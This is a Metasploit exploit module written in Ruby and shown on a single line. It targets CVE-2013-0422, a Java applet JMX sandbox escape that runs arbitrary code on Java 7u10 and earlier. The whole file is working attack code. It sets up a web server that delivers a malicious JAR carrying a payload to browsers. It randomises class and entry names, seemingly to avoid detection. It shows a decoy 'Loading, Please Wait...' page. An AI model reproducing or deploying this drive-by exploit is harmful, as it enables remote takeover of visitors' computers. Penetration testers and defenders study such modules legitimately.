## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Java Applet JMX Remote Code Execution', 'Description' => %q{ This module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in January of 2013. The vulnerability affects Java version 7u10 and earlier. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery 'egypt', # Metasploit module 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-0422' ], [ 'OSVDB', '89059' ], [ 'US-CERT-VU', '625617' ], [ 'URL', 'http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html' ], [ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/' ], [ 'URL', 'http://pastebin.com/cUG2ayjh' ] #Who authored the code on pastebin? I can't read Russian :-( ], 'Platform' => %w{ java linux osx win }, 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA, } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 10 2013' )) end def setup path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0422", "Exploit.class") @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0422", "B.class") @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } @exploit_class_name = rand_text_alpha("Exploit".length) @exploit_class.gsub!("Exploit", @exploit_class_name) super end def on_request_uri(cli, request) print_status("handling request for #{request.uri}") case request.uri when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@exploit_class_name}.class", @exploit_class) jar.add_file("B.class", @loader_class) metasploit_str = rand_text_alpha("metasploit".length) payload_str = rand_text_alpha("payload".length) jar.entries.each { |entry| entry.name.gsub!("metasploit", metasploit_str) entry.name.gsub!("Payload", payload_str) entry.data = entry.data.gsub("metasploit", metasploit_str) entry.data = entry.data.gsub("Payload", payload_str) } jar.build_manifest send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) when /\/$/ payload = regenerate_payload(cli) if not payload print_error("Failed to generate the payload.") send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') end end def generate_html html = %Q|Loading, Please Wait...| html += %Q|

Loading, Please Wait...

| html += %Q|| html += %Q|| return html end end